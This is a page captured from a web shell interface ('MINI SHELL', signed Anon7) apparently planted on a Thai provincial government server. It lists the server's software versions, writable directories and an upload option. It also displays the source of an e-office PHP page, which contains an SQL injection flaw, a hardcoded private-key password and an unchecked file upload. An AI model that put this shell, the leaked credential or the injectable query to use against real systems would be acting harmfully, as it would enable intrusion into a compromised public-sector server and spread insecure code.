MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /var/www/html/pathumthani_eoffice/application/CA2/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/pathumthani_eoffice/application/CA2/check_private.php
<?php
session_start() ; 
?>
<style type="text/css">
body,td,th{

font-size:13px;}
INPUT{
	FONT-SIZE: 12px; FONT-FAMILY: Tahoma,  "Microsoft Sans "; 
	}
</style>

  <table width="100%" border="0" cellspacing="0" cellpadding="0">
    <tr>
      <td align="center">
  <br />
  <br />
  <br />
  <script>
function check(){
    var cr        = unescape("\n");
    var ErrorMsg  = "เกิดข้อผิดพลาดดังนี้ :  "+cr+cr;
    var InitLen   = ErrorMsg.length;
    var TheForm   = document.frm1;
	var emailRegEx = /^[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,4}$/i;
	if (TheForm.email.value.search(emailRegEx) == -1)
       ErrorMsg =  ErrorMsg + "อีเมล์ไม่ถูกต้อง " + cr;   
	  if ( ErrorMsg.length > InitLen ){
        alert( ErrorMsg );
        return (false);
    }
    return(true);
}
</script>


<?
if(isset($_POST[bt_check])){
require_once "config/config.ini.php";
require_once "common/database.class.php";
include("class.openssl.php");
$db = new database();
$db->connect();	
$sql="select * from member where email='$email'";

$rex=$db->query($sql);
$num=$db->numrows($rex);	
  $rows = $db->fetch($rex);
if($num==0){
	echo " <cemter>ไม่พบ E-mail Address :$email  นี้อยู่ในระบบ!!<br><br> <a href=\"javascript:history.back()\"> ย้อนกลับ</a></center>";	
}else{
$ossl = new OpenSSL();

$pass="sapphire";

$ossl->set_privkeypass($pass);
    $dir = FILE_LOCATION2.basename($_FILES['file01']['name']);
    $dir1 = "file://".FILE_LOCATION2.basename($_FILES['file01']['name']);
	$dir2 = "file://".FILE_LOCATION.$rows['public_file'];
	move_uploaded_file($_FILES['file01']['tmp_name'],$dir);
	$ossl->load_privatekey($dir1);
    $ossl->load_certificate($dir2);

    echo "<br><br><br><center>";
    echo "<h3><u>ผลการตรวจสอบ</u></h3>\n";
    $ok = $ossl->check_privatekey_match_certificate();
	
	if ($ok == 1) {
      echo "Private key เหมือนกับ Certificate";
	  $_SESSION['status'] = 1;
    } elseif ($ok == 0) {
      echo "Private key ไม่เหมือน Certificate <a href = 'javascript:history.back()'>เทียบใหม่อีกครั้ง</a>";
    } else {
      echo "Private key ไม่เหมือน Certificate <a href = 'javascript:history.back()'>เทียบใหม่อีกครั้ง</a>";
    }
	
	echo "</center><br><br><br>";

}

}else{
?>


<form action="" method="post" enctype="multipart/form-data" name="frm1" onsubmit=" return check()">
  
  <META http-equiv=Content-Type content="text/html; charset=windows-874">
<table width="500" border="1" cellspacing="0" cellpadding="5" align="center" style="border-collapse:collapse;" bordercolor="#CCCCCC">
   <tr>
    <td >
	
<table width="100%" border="0" cellspacing="0" cellpadding="5" align="center">
  <tr>
    <td align="right"><strong>กรอก E-mai Address</strong></td>
    <td><input name="email" type="text" id="email" size="50" /></td>
  </tr>
  <tr>
    <td width="37%"><div align="right"><strong>เลือก Private Key File</strong></div></td>
    <td width="63%"><input name="file01" type="file" size="40" /></td>
  </tr>
  <tr>
    <td>&nbsp;</td>
    <td><input name="bt_check" type="submit" value=" ตรวจสอบ Private Key " /></td>
  </tr>
</table>	
	
	
	</td>
  </tr>
</table>

</form>
<?
}
?>
&nbsp;</td>
    </tr>
  </table>

Anon7 - 2021